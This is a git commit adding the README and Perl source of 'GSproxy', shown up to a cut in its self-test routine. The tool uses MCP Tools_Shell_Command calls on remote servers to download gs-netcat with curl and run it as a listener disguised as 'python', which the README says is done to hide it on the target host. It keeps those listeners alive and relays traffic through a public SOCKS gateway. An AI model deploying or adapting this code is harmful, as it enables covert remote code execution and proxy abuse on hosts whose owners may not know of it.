init commit

2026-09-14 18:14:28 +03:00
commit 6b1bc595a3
2 changed files with 1055 additions and 0 deletions
@@ -0,0 +1,192 @@
 # GSproxy
 GSproxy is a standalone Perl tool that reads a CSV list of remote targets and keeps a working SOCKS proxy alive for each of them. It brings up remote SOCKS servers over an MCP shell bridge, starts local gs-netcat SOCKS clients, watches every proxy, and exposes a single gateway SOCKS port that always points at the first healthy proxy.
 ## Overview
 The tool turns a list of `endpoint,secret,port` rows into a self-healing set of SOCKS proxies. For each row it does three things:
 - Brings up a remote SOCKS server through an MCP `Tools_Shell_Command` call, using a gs-netcat listener wrapped to look like `python`.
 - Starts a local gs-netcat SOCKS client bound to `127.0.0.1` on the row's port.
 - Monitors the local SOCKS proxy and logs every status change.
 It then listens on a gateway SOCKS port and relays each incoming connection to the first proxy that is currently alive.
 The whole tool is written with core Perl modules only, so it runs without extra installs.
 ## Features
 - CSV driven config, one proxy per row.
 - Remote bring-up through an MCP shell call, reusing the gs-netcat listener command shape.
 - Local gs-netcat SOCKS client launched per row.
 - Continuous monitoring with configurable interval and per-check timeout.
 - Automatic re-bring-up of dead proxies in the background.
 - A gateway SOCKS port that follows the first alive proxy.
 - Daemon mode with pidfile, status, and stop commands.
 - Remote and local teardown that kills leftover gs-netcat processes.
 - Offline self-tests that cover config parsing, command building, and the SOCKS handshake.
 ## Requirements
 - Perl 5 with the core modules `Getopt::Long`, `IO::Socket::INET`, `IO::Select`, `POSIX`, `HTTP::Tiny`, `JSON::PP`, `Time::HiRes`, `File::Spec`, `Errno`, and `File::Basename`.
 - The `gs-netcat` binary in `PATH`, or a path supplied with `--gs-netcat`.
 - Network access from the MCP endpoint so the remote bring-up command can download and run gs-netcat.
 - A reachable MCP endpoint that exposes the `Tools_Shell_Command` tool.
 ## Installation
 - Copy `gsproxy.pl` somewhere on the host and make it executable with `chmod +x gsproxy.pl`.
 - Make sure `gs-netcat` is installed and on the `PATH`.
 - Create a `gsproxy.csv` next to the script, or point `--config` at another file.
 ## Configuration
 The config file is CSV. Each non-empty, non-comment line has the form:
 ```
 endpoint,secret,port[,label]
 ```
 - `endpoint` is the base URL of the MCP server that exposes `Tools_Shell_Command`.
 - `secret` is the gs-netcat shared secret used by both the remote listener and the local client.
 - `port` is the local SOCKS port for that row. It must be a number from 1 to 65535.
 - `label` is an optional friendly name. When missing it defaults to `row` plus the line number.
 Blank lines and lines starting with `#` are ignored. A header line such as `endpoint,secret,port,label` is detected and skipped when the third field is not a number. Invalid rows are reported on standard error and skipped.
 Example:
 ```
 endpoint,secret,port,label
 https://mcp.example.org,sekret123,20001,alpha
 https://mcp.other.org,topsecret9,20002,beta
 ```
 The `endpoint` may be a base URL or a full MCP URL. If it does not already end in `/gradio_api/mcp` or `/mcp`, the value of `--mcp-path` is appended.
 ## Usage
 Run the tool as a daemon:
 ```
 ./gsproxy.pl
 ```
 Run one monitor pass and exit:
 ```
 ./gsproxy.pl --once
 ```
 Run in the foreground:
 ```
 ./gsproxy.pl --no-daemon
 ```
 ## Options
 The script accepts these command line options:
 - `--config FILE` sets the CSV config path. The default is `gsproxy.csv` next to the script.
 - `--gateway-port PORT` sets the gateway SOCKS port. The default is `1080`.
 - `--bind ADDR` sets the address the gateway listens on. The default is `0.0.0.0`.
 - `--interval SEC` sets the monitor interval in seconds. The default is `30`.
 - `--timeout SEC` sets the per-check timeout in seconds. The default is `10`.
 - `--mcp-timeout SEC` sets the MCP shell command timeout in seconds. The default is `60`.
 - `--test-host HOST` sets the host probed through each SOCKS proxy. The default is `www.google.com`.
 - `--test-port PORT` sets the port probed through each SOCKS proxy. The default is `443`.
 - `--workdir DIR` sets the remote working directory for the MCP call. The default is `.`.
 - `--gs-netcat PATH` sets the gs-netcat binary. The default is `gs-netcat` from `PATH`.
 - `--log FILE` sets the log file. The default is `gsproxy.log` next to the script.
 - `--pidfile FILE` sets the pidfile. The default is `gsproxy.pid` next to the script.
 - `--state FILE` sets the runtime state file. The default is `gsproxy.state` next to the script.
 - `--insecure` disables TLS certificate checks for the MCP endpoint.
 - `--no-mcp` skips the remote MCP bring-up call.
 - `--no-local` skips the local gs-netcat client start.
 - `--no-bringup` runs monitor only and never restarts proxies.
 - `--no-daemon` runs in the foreground.
 - `--once` runs one monitor pass and then exits.
 - `--list` parses the config, prints the rows, and exits.
 - `--status` reports whether the daemon is running.
 - `--stop` stops a running daemon and tears down proxies.
 - `--selftest` runs the offline self-tests.
 - `-h, --help` shows the help text.
 The `--daemon` option is a negatable boolean and defaults to on. `--verbose` and `-v` increase logging to standard error.
 ## How it works
 gsproxy has four moving parts: the remote bring-up, the local client, the monitor, and the gateway.
 - Remote bring-up downloads a gs-netcat build with `curl`, unpacks it, and runs a gs-netcat listener with `-lSD -s SECRET`. The listening process is renamed to `python` so it blends into the host.
 - The local client runs `gs-netcat -D -p PORT -s SECRET`, which opens a SOCKS listener on `127.0.0.1` at the row's port.
 - The monitor performs a full SOCKS5 handshake against each local port, testing a real CONNECT to a probe host and port. A passing handshake marks the proxy alive.
 - The gateway accepts SOCKS5 connections on `--bind:--gateway-port` and relays them to the first alive proxy listed in the state file.
 ### MCP bring-up
 The remote call is an MCP JSON-RPC exchange over HTTP. The script sends an `initialize` request, captures the `Mcp-Session-Id` header, sends the `notifications/initialized` notification, then calls `tools/call` with the name `Tools_Shell_Command`. Responses may be plain JSON or server-sent events, so the body is parsed for the last `data:` line before decoding. Requests are retried up to three times on transport failures.
 ### Monitoring and state
 On every interval the monitor checks each proxy, logs only status changes, and writes the list of alive ports to the state file. The first alive port from that list is the current gateway target. When a proxy is found dead, the tool forks a background bring-up unless `--no-bringup` is set. In `--once` mode the bring-up runs inline instead of forking.
 ### Gateway relay
 The gateway listens, forks per connection, and reads the target port from the state file. It opens a TCP connection to that port and copies bytes in both directions with `IO::Select`, shutting down each direction as its side closes. If the state file has no valid port, the connection is dropped.
 ### Teardown
 Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans `/proc` for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them.
 ## Command reference
 - Start as a daemon: `./gsproxy.pl`
 - Start and stop: `./gsproxy.pl --stop`
 - Check status: `./gsproxy.pl --status`
 - List config rows: `./gsproxy.pl --list`
 - One pass, foreground: `./gsproxy.pl --once --no-daemon`
 - Run self-tests: `./gsproxy.pl --selftest`
 ## Files
 - `gsproxy.csv` is the default config file.
 - `gsproxy.log` is the append-only log, one UTC-stamped line per event.
 - `gsproxy.pid` holds the daemon and gateway process ids.
 - `gsproxy.state` holds the first alive port on the first line and all alive ports on the second.
 ## Logging
 Every event is written with a UTC timestamp in the form `[YYYY-MM-DDTHH:MM:SSZ] message`. Bring-up, MCP results, status changes, gateway startup, and teardown are all logged. The log is appended, never truncated, so it grows over time. With `--verbose`, log lines are also printed to standard error.
 ## Gateway behavior
 - The gateway always targets the first alive proxy in listing order.
 - It re-reads the state file on every new connection, so failover is immediate.
 - A dead or missing target port causes the connection to be dropped without reply.
 - Each connection is handled by a forked child, keeping the listener responsive.
 ## Self-tests
 The `--selftest` mode runs offline checks and prints `PASS` or `FAIL` per case. It writes a temporary CSV, a temporary state file, and a temporary log under `/tmp`. It covers config parsing, command string quoting, gs-netcat process discovery, live and dead SOCKS detection, and a full gateway relay against a fake SOCKS server. It exits non-zero if any check fails.
 ## Security notes
 - Secrets are masked in logs and list output, so only the first two characters appear.
 - The remote process is deliberately renamed to `python` to hide on the target host.
 - The `--insecure` flag turns off TLS verification and should be used only when the MCP endpoint is trusted.
 - The gateway binds to `0.0.0.0` by default. Restrict `--bind` if the host should not expose the proxy to the network.
 - Anyone who can reach the gateway SOCKS port can route through the current proxy, so the port should be firewalled.
 ## Troubleshooting
 - If the script reports no usable rows, check that the CSV has valid `endpoint,secret,port` fields and a numeric port.
 - If the daemon will not start, run `--status` to see whether it is already running, then use `--stop` first.
 - If MCP bring-up fails, confirm the endpoint exposes `Tools_Shell_Command` and try `--insecure` only if the certificate is the problem.
 - If no proxy becomes alive, run `--list` to confirm the rows and check that `gs-netcat` is on the `PATH`.
 - If the gateway has no target, watch the log for `SOCKS ... is dead` lines to see which proxies are failing.
 ## Credits
 Created by Luxferre in 2026, released into the public domain with no warranties.
@@ -0,0 +1,863 @@
 #!/usr/bin/env perl
 # GSproxy: standalone Perl gs-netcat SOCKS proxy setup center
 #
 # Reads a CSV config of  endpoint,secret,port[,label]  and, for every row:
 #   1. brings up a remote SOCKS server through an MCP Tools_Shell_Command
 #      call (mechanism from mcp_shell.sh) using the command shape from
 #      proxy-up.sh (gs-netcat -lSD -s SECRET, daemonized on the remote);
 #   2. starts a local gs-netcat SOCKS client (gs-netcat -D -p PORT -s SECRET);
 #   3. monitors each local SOCKS proxy and logs every status change;
 # then exposes a gateway SOCKS port that relays to the first alive proxy
 #
 # Core modules only, no deps
 #
 # Created by Luxferre in 2026, released into the public domain
 use strict;
 use warnings;
 use Getopt::Long;
 use IO::Socket::INET;
 use IO::Select;
 use POSIX qw(:sys_wait_h setsid strftime);
 use HTTP::Tiny;
 use JSON::PP;
 use Time::HiRes qw(sleep);
 use File::Spec;
 use Errno qw(EINTR EAGAIN);
 use File::Basename qw(dirname);
 my $NL = chr(10);
 my $SQ = chr(39);
 my $BS = chr(92);
 my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));
 my %opt = (
  config      => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
  log         => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
  pidfile     => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
  state       => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
  gateway     => 1080,
  bind        => '0.0.0.0',
  interval    => 30,
  timeout     => 10,
  mcp_timeout => 60,
  test_host   => 'www.google.com',
  test_port   => 443,
  workdir     => '.',
  gs_netcat   => 'gs-netcat',
  mcp_path    => '/gradio_api/mcp/',
  insecure    => 0,
  verbose     => 0,
  no_mcp      => 0,
  no_local    => 0,
  no_bringup  => 0,
  list        => 0,
  daemon      => 1,
  once        => 0,
  stop        => 0,
  status      => 0,
  selftest    => 0,
  help        => 0,
 );
 GetOptions(
  'config=s'       => \$opt{config},
  'log=s'          => \$opt{log},
  'pidfile=s'      => \$opt{pidfile},
  'state=s'        => \$opt{state},
  'gateway-port=i' => \$opt{gateway},
  'bind=s'         => \$opt{bind},
  'interval=i'     => \$opt{interval},
  'timeout=i'      => \$opt{timeout},
  'mcp-timeout=i'  => \$opt{mcp_timeout},
  'test-host=s'    => \$opt{test_host},
  'test-port=i'    => \$opt{test_port},
  'workdir=s'      => \$opt{workdir},
  'gs-netcat=s'    => \$opt{gs_netcat},
  'insecure'       => \$opt{insecure},
  'verbose|v'      => \$opt{verbose},
  'no-mcp'         => \$opt{no_mcp},
  'no-local'       => \$opt{no_local},
  'no-bringup'     => \$opt{no_bringup},
  'list'           => \$opt{list},
  'daemon!'        => \$opt{daemon},
  'once'           => \$opt{once},
  'stop'           => \$opt{stop},
  'status'         => \$opt{status},
  'selftest'       => \$opt{selftest},
  'help|h'         => \$opt{help},
 ) or usage(2);
 usage(0) if $opt{help};
 selftest() if $opt{selftest};
 if ($opt{stop})   { stop_daemon(); exit 0; }
 if ($opt{status}) { exit(do_status()); }
 sub usage {
  my ($code) = @_;
  my $fh = $code ? *STDERR : *STDOUT;
  print {$fh} <<USAGE;
 gsproxy.pl - Perl gs-netcat SOCKS proxy setup center
 Usage: gsproxy.pl [options]
 Options:
  --config FILE        CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
  --gateway-port PORT  Gateway SOCKS port mapped to first alive SOCKS (default 1080)
  --bind ADDR          Address the gateway SOCKS listens on (default 0.0.0.0)
  --interval SEC       Monitor interval seconds (default 30)
  --timeout SEC        Per-check timeout seconds (default 10)
  --mcp-timeout SEC    MCP Tools_Shell_Command timeout (default 60)
  --test-host HOST     Host probed through each SOCKS (default www.google.com)
  --test-port PORT     Port probed through each SOCKS (default 443)
  --workdir DIR        Remote workdir for the MCP call (default .)
  --gs-netcat PATH     gs-netcat binary (default: from PATH)
  --log FILE           Log file (default ./gsproxy.log)
  --pidfile FILE       Pidfile (default ./gsproxy.pid)
  --state FILE         Runtime state file (default ./gsproxy.state)
  --insecure           Do not verify TLS certificates for the MCP endpoint
  --no-mcp             Skip the remote MCP bring-up call
  --no-local           Skip the local gs-netcat client start
  --no-bringup         Monitor only; never (re)start proxies
  --no-daemon          Run in the foreground
  --once               Single monitor pass then exit
  --list               Parse the config and print rows, then exit
  --status             Report whether the daemon is running
  --stop               Stop a running daemon
  --selftest           Run offline self-tests
  -h, --help           Show this help
 USAGE
  exit $code;
 }
 sub strip_eol {
  my ($s) = @_;
  chomp $s;
  chop $s if length($s) && ord(substr($s, -1)) == 13;
  return $s;
 }
 sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }
 sub logmsg {
  my ($msg) = @_;
  my $line = '[' . now_utc() . '] ' . $msg . $NL;
  if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; }
  print STDERR $line if $opt{verbose};
 }
 sub shq {
  my ($s) = @_
  ;
  $s = '' unless defined $s;
  my $out = $SQ;
  for my $ch (split //, $s) {
    if ($ch eq $SQ) { $out .= $SQ . $BS . $SQ . $SQ; }
    else { $out .= $ch; }
  }
  return $out . $SQ;
 }
 sub which {
  my ($name) = @_;
  return $name if index($name, '/') >= 0 && -x $name;
  for my $d (split /:/, ($ENV{PATH} || '')) {
    next unless length $d;
    my $p = $d . '/' . $name;
    return $p if -x $p;
  }
  return undef;
 }
 sub mask {
  my ($s) = @_;
  $s = '' unless defined $s;
  return '***' if length($s) <= 2;
  return substr($s, 0, 2) . '***';
 }
 sub one_line {
  my ($s) = @_;
  $s = '' unless defined $s;
  $s =~ s/[[:space:]]+/ /g;
  return substr($s, 0, 300);
 }
 sub read_exact {
  my ($fh, $n, $to) = @_;
  $to = 5 unless defined $to && $to > 0;
  my $sel = IO::Select->new($fh);
  my $buf = '';
  while (length($buf) < $n) {
    return undef unless $sel->can_read($to);
    my $r = sysread($fh, my $chunk, $n - length($buf));
    return undef unless defined $r && $r > 0;
    $buf .= $chunk;
  }
  return $buf;
 }
 sub read_config {
  my ($file) = @_;
  open my $fh, '<', $file or die 'cannot open config ' . $file . ': ' . $! . $NL;
  my @rows;
  my $lineno = 0;
  while (my $line = <$fh>) {
    $lineno++;
    $line = strip_eol($line);
    next if $line =~ /^[[:space:]]*$/;
    next if $line =~ /^[[:space:]]*[#]/;
    my @f = split /,/, $line, -1;
    for (@f) { s/^[[:space:]]+//; s/[[:space:]]+$//; }
    if ($f[0] =~ /^(endpoint|base|base_url|mcp|base_mcp_endpoint)$/i
        && (defined $f[2] ? $f[2] : '') !~ /^[0-9]+$/) {
      next;
    }
    my ($endpoint, $secret, $port, $label) = @f;
    if (!defined $endpoint || !length $endpoint || !defined $secret || !defined $port) {
      warn 'config line ' . $lineno . ': need endpoint,secret,port' . $NL;
      next;
    }
    if ($port !~ /^[0-9]+$/ || $port < 1 || $port > 65535) {
      warn 'config line ' . $lineno . ': invalid port ' . $port . $NL;
      next;
    }
    $label = 'row' . $lineno unless defined $label && length $label;
    push @rows, {
      endpoint => $endpoint,
      secret   => $secret,
      port     => $port + 0,
      label    => $label,
      state    => undef,
    };
  }
  close $fh;
  return \@rows;
 }
 sub parse_sse {
  my ($body) = @_;
  my @d = ($body =~ /^data:[[:space:]]*(.*)$/mg);
  return @d ? $d[-1] : $body;
 }
 sub mcp_take_session {
  my ($hdr, $res) = @_;
  return unless ref $res eq 'HASH' && ref $res->{headers} eq 'HASH';
  for my $k (keys %{ $res->{headers} }) {
    if (lc $k eq 'mcp-session-id') { $hdr->{'Mcp-Session-Id'} = $res->{headers}{$k}; last; }
  }
 }
 sub mcp_post {
  my ($http, $url, $hdr, $body) = @_;
  my $tries = 3;
  my $r;
  for my $i (1 .. $tries) {
    $r = $http->post($url, { headers => $hdr, content => $body });
    return $r if $r->{success};
    my $st = defined $r->{status} ? $r->{status} : 0;
    last if $st >= 400 && $st < 500 && $st != 408 && $st != 429;
    sleep($i) if $i < $tries;
  }
  return $r;
 }
 sub mcp_call {
  my ($endpoint, $cmd) = @_;
  my $url = $endpoint;
  $url =~ s{/+$}{};
  if ($url !~ m{/gradio_api/mcp/?$} && $url !~ m{/mcp/?$}) {
    $url .= $opt{mcp_path};
  }
  my $http = HTTP::Tiny->new(
    timeout    => $opt{mcp_timeout} + 30,
    verify_SSL => $opt{insecure} ? 0 : 1,
  );
  my $hdr = {
    'Content-Type' => 'application/json',
    'Accept'       => 'application/json, text/event-stream',
  };
  my $json = JSON::PP->new->utf8->allow_nonref;
  my $init = $json->encode({
    jsonrpc => '2.0', id => 1, method => 'initialize',
    params  => {
      protocolVersion => '2024-11-05',
      capabilities    => {},
      clientInfo      => { name => 'gsproxy', version => '1.0' },
    },
  });
  my $ir = mcp_post($http, $url, $hdr, $init);
  return (0, 'MCP initialize HTTP ' . $ir->{status} . ' ' . $ir->{reason}) unless $ir->{success};
  mcp_take_session($hdr, $ir);
  my $ij = eval { $json->decode(parse_sse($ir->{content})) };
  if ($ij && ref $ij eq 'HASH' && $ij->{error}) {
    return (0, 'MCP initialize error: ' . (defined $ij->{error}{message} ? $ij->{error}{message} : 'unknown'));
  }
  my $note = $json->encode({ jsonrpc => '2.0', method => 'notifications/initialized' });
  my $nr = mcp_post($http, $url, $hdr, $note);
  mcp_take_session($hdr, $nr);
  my $call = $json->encode({
    jsonrpc => '2.0', id => 2, method => 'tools/call',
    params  => {
      name      => 'Tools_Shell_Command',
      arguments => {
        command => $cmd,
        workdir => $opt{workdir},
        timeout => $opt{mcp_timeout} + 0,
      },
    },
  });
  my $r = mcp_post($http, $url, $hdr, $call);
  if (!$r->{success}) {
    return (0, 'HTTP ' . $r->{status} . ' ' . $r->{reason});
  }
  my $data = parse_sse($r->{content});
  my $j = eval { $json->decode($data) };
  return (0, 'invalid JSON: ' . substr(defined $data ? $data : '', 0, 200)) unless $j;
  return (0, 'ERROR: ' . (defined $j->{error}{message} ? $j->{error}{message} : 'unknown'))
    if $j->{error};
  my $content = (ref $j->{result} eq 'HASH' && ref $j->{result}{content} eq 'ARRAY')
    ? $j->{result}{content} : [];
  my @text;
  for my $item (@$content) {
    next unless (defined $item->{type} ? $item->{type} : '') eq 'text';
    push @text, $item->{text};
  }
  return (1, join($NL, @text));
 }
 sub _socks_handshake {
  my ($s) = @_;
  $s->autoflush(1);
  my $greet = pack('C*', 5, 1, 0);
  return 0 unless syswrite($s, $greet) == length($greet);
  my $g = read_exact($s, 2, $opt{timeout});
  return 0 unless defined $g && $g eq pack('C*', 5, 0);
  my $host = $opt{test_host};
  my $req = pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', $opt{test_port});
  return 0 unless syswrite($s, $req) == length($req);
  my $rep = read_exact($s, 4, $opt{timeout});
  return 0 unless defined $rep;
  return (ord(substr($rep, 0, 1)) == 5 && ord(substr($rep, 1, 1)) == 0) ? 1 : 0;
 }
 sub socks_alive {
  my ($port) = @_;
  my $s = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => $opt{timeout},
  ) or return 0;
  my $ok = _socks_handshake($s);
  close $s;
  return $ok;
 }
 sub target_cmd {
  my ($secret) = @_;
  my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
  my $args = shq('-lSD -s ' . $secret);
  return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
 }
 sub teardown_cmd {
  my ($secret) = @_;
  my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
  return 'for p in /proc/[0-9]*; do '
    . 'grep -Fq -a -- ' . $pat . ' $p/environ 2>/dev/null && '
    . 'kill $(basename $p) 2>/dev/null; '
    . 'done; true';
 }
 sub read_proc_file {
  my ($path) = @_;
  open my $fh, '<', $path or return undef;
  local $/;
  my $c = <$fh>;
  close $fh;
  return $c;
 }
 sub find_local_pids {
  my %ports = map { $_ => 1 } @_;
  my @pids;
  return @pids unless %ports;
  opendir my $dh, '/proc' or return @pids;
  for my $d (readdir $dh) {
    next unless $d =~ /^[0-9]+$/;
    my $raw = read_proc_file('/proc/' . $d . '/cmdline');
    next unless defined $raw && length $raw;
    my $flat = join(' ', split /[[:cntrl:]]/, $raw);
    next unless $flat =~ /gs-netcat/;
    next unless $flat =~ /(?:^|[[:space:]])-D(?:[[:space:]]|$)/;
    next unless $flat =~ /(?:^|[[:space:]])-p[[:space:]]+([0-9]+)/;
    push @pids, $d if $ports{$1};
  }
  closedir $dh;
  return @pids;
 }
 sub teardown_local {
  my ($rows) = @_;
  my @pids = find_local_pids(map { $_->{port} } @$rows);
  for my $pid (@pids) { kill('TERM', $pid); logmsg('teardown: TERM local gs-netcat pid ' . $pid); }
  return scalar @pids;
 }
 sub teardown_remote {
  my ($rows) = @_;
  return 0 if $opt{no_mcp};
  my $n = 0;
  for my $e (@$rows) {
    my ($ok, $out) = mcp_call($e->{endpoint}, teardown_cmd($e->{secret}));
    logmsg('MCP teardown ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
    $n++ if $ok;
  }
  return $n;
 }
 sub read_rows_or_empty {
  my $r = eval { read_config($opt{config}) };
  return () unless $r && ref $r eq 'ARRAY';
  return @$r;
 }
 sub start_local {
  my ($e) = @_;
  my $gn = which($opt{gs_netcat});
  return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
  my $port = $e->{port};
  my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
  system($cmd . q{ >/dev/null 2>&1 &});
  return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
 }
 sub bring_up {
  my ($e) = @_;
  my $label = $e->{label};
  my $port = $e->{port};
  logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
  if (!$opt{no_mcp}) {
    my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
    logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
  }
  if (!$opt{no_local}) {
    my ($ok, $msg) = start_local($e);
    logmsg('local: ' . $msg);
  }
  return 1;
 }
 sub write_state {
  my ($alive) = @_;
  open my $fh, '>', $opt{state} or return;
  my $first = @$alive ? $alive->[0] : '';
  print $fh $first, $NL;
  print $fh join(' ', @$alive), $NL;
  close $fh;
 }
 sub read_state_port {
  open my $fh, '<', $opt{state} or return undef;
  my $line = <$fh>;
  close $fh;
  return undef unless defined $line;
  $line = strip_eol($line);
  $line =~ s/[[:space:]]+$//;
  return undef unless $line =~ /^[0-9]+$/;
  return $line + 0;
 }
 sub pump {
  my ($c, $u) = @_;
  $c->autoflush(1);
  $u->autoflush(1);
  $SIG{PIPE} = 'IGNORE';
  my $sel = IO::Select->new($c, $u);
  my %is_client = (fileno($c) => 1);
  while (1) {
    my @ready = $sel->can_read(300);
    return unless @ready;
    for my $fh (@ready) {
      my $n = sysread($fh, my $buf, 65536);
      if (!defined $n) {
        next if $! == EINTR || $! == EAGAIN;
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      if ($n == 0) {
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      my $dst = $is_client{fileno($fh)} ? $u : $c;
      my $off = 0;
      while ($off < length $buf) {
        my $w = syswrite($dst, $buf, length($buf) - $off, $off);
        unless (defined $w && $w > 0) {
          next if defined $w && $! == EINTR;
          eval { shutdown($dst, 1) };
          $sel->remove($dst) if $sel->exists($dst);
          last;
        }
        $off += $w;
      }
    }
    last unless $sel->count;
  }
 }
 sub handle_gateway_conn {
  my ($c) = @_;
  my $up = read_state_port();
  return unless defined $up;
  my $u = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $up,
    Proto    => 'tcp',
    Timeout  => 10,
  ) or return;
  eval { pump($c, $u) };
  close $u;
  close $c;
 }
 sub start_gateway {
  my $gw = $opt{gateway};
  my $bind = $opt{bind};
  my $pid = fork();
  return $pid if $pid;
  $SIG{TERM} = sub { exit 0 };
  $SIG{INT}  = sub { exit 0 };
  my $lsn = IO::Socket::INET->new(
    LocalAddr => $bind,
    LocalPort => $gw,
    Proto     => 'tcp',
    Listen    => 128,
    ReuseAddr => 1,
  ) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; };
  logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
  while (my $c = $lsn->accept) {
    my $p = fork();
    if (defined $p && $p == 0) {
      close $lsn;
      handle_gateway_conn($c);
      exit 0;
    }
    close $c;
    1 while waitpid(-1, WNOHANG) > 0;
  }
  exit 0;
 }
 my %async_jobs;
 sub spawn_bringup {
  my ($e) = @_;
  return 0 if $e->{bringing_up};
  my $pid = fork();
  return 0 unless defined $pid;
  if ($pid == 0) {
    $SIG{TERM} = 'DEFAULT';
    $SIG{INT}  = 'DEFAULT';
    eval { bring_up($e) };
    exit 0;
  }
  $async_jobs{$pid} = $e;
  $e->{bringing_up} = 1;
  return $pid;
 }
 sub reap_jobs {
  for my $pid (keys %async_jobs) {
    my $r = waitpid($pid, WNOHANG);
    next if $r == 0;
    my $e = delete $async_jobs{$pid};
    $e->{bringing_up} = 0 if $e;
  }
 }
 sub monitor_once {
  my ($rows) = @_;
  reap_jobs() unless $opt{once};
  my @alive;
  for my $e (@$rows) {
    my $label = $e->{label};
    my $port = $e->{port};
    my $now = socks_alive($port) ? 'alive' : 'dead';
    my $prev = $e->{state};
    if (!defined $prev || $prev ne $now) {
      logmsg(qq{SOCKS $label 127.0.0.1:$port is $now});
      if ($now eq 'dead') {
        if (!$opt{no_bringup}) {
          if ($opt{once}) { bring_up($e); }
          else { spawn_bringup($e); }
        }
      } elsif (defined $prev && $prev eq 'dead') {
        logmsg(qq{SOCKS $label 127.0.0.1:$port recovered});
      }
    }
    $e->{state} = $now;
    push @alive, $port if $now eq 'alive';
  }
  write_state(\@alive);
  return \@alive;
 }
 sub write_pidfile {
  my @pids = @_;
  open my $fh, '>', $opt{pidfile} or return;
  print $fh join($NL, @pids), $NL;
  close $fh;
 }
 sub read_pidfile {
  open my $fh, '<', $opt{pidfile} or return ();
  my @out;
  for my $line (<$fh>) {
    $line = strip_eol($line);
    $line =~ s/[[:space:]]+$//;
    push @out, $line if $line =~ /^[0-9]+$/;
  }
  close $fh;
  return @out;
 }
 sub stop_daemon {
  my @pids = read_pidfile();
  my $any = 0;
  for my $p (@pids) {
    if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; }
  }
  if (@pids) {
    my @now = read_pidfile();
    my %handled = map { $_ => 1 } @pids;
    my $same = (@now == @pids) && !grep { !$handled{$_} } @now;
    unlink $opt{pidfile} if $same;
  }
  my @rows = read_rows_or_empty();
  my $nl = teardown_local([@rows]);
  my $nr = teardown_remote([@rows]);
  logmsg('teardown: local gs-netcat=' . $nl . ' remote gs-netcat=' . $nr);
  if ($any) { print 'stopped' . $NL; }
  elsif (@pids) { print 'no running daemon (stale pidfile)' . $NL; }
  else { print 'no pidfile' . $NL; }
 }
 sub do_status {
  my @pids = read_pidfile();
  my @live = grep { kill(0, $_) } @pids;
  if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
  print 'gsproxy not running' . $NL;
  return 1;
 }
 sub cleanup {
  my ($gwpid, $rows) = @_;
  kill('TERM', $gwpid) if $gwpid;
  unlink $opt{pidfile};
  if ($rows) {
    my $nl = teardown_local($rows);
    logmsg('teardown: local gs-netcat stopped=' . $nl);
    my $nr = teardown_remote($rows);
    logmsg('teardown: remote gs-netcat stopped=' . $nr);
  }
 }
 sub run_foreground {
  my ($rows) = @_;
  my $gwpid;
  if (!$opt{once}) {
    $gwpid = start_gateway();
    write_pidfile($$, $gwpid);
    $SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 };
    $SIG{INT}  = sub { cleanup($gwpid, $rows); exit 0 };
    logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
      . ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
  }
  while (1) {
    monitor_once($rows);
    last if $opt{once};
    sleep $opt{interval};
  }
  cleanup($gwpid, $rows) if $gwpid;
 }
 sub fake_socks_server {
  my ($lsn) = @_;
  while (my $c = $lsn->accept) {
    my $p = fork();
    if (defined $p && $p == 0) {
      close $lsn;
      $c->autoflush(1);
      my $g = read_exact($c, 3, 5);
      if (defined $g) {
        syswrite($c, pack('C*', 5, 0));
        my $hdr = read_exact($c, 4, 5);
        if (defined $hdr) {
          my $atyp = ord(substr($hdr, 3, 1));
          if ($atyp == 1) { read_exact($c, 4, 5); }
          elsif ($atyp == 3) { my $l = read_exact($c, 1, 5); read_exact($c, ord($l), 5) if defined $l; }
          elsif ($atyp == 4) { read_exact($c, 16, 5); }
          read_exact($c, 2, 5);
          syswrite($c, pack('C*', 5, 0, 0, 1, 0, 0, 0, 0, 0, 0));
          while (1) {
            my $n = sysread($c, my $b, 4096);
            last unless defined $n && $n > 0;
            syswrite($c, $b);
          }
        }
      }
      exit 0;
    }
    close $c;
    1 while waitpid(-1, WNOHANG) > 0;
  }
 }
 sub selftest {
  my $fails = 0;
  my $ok = sub {
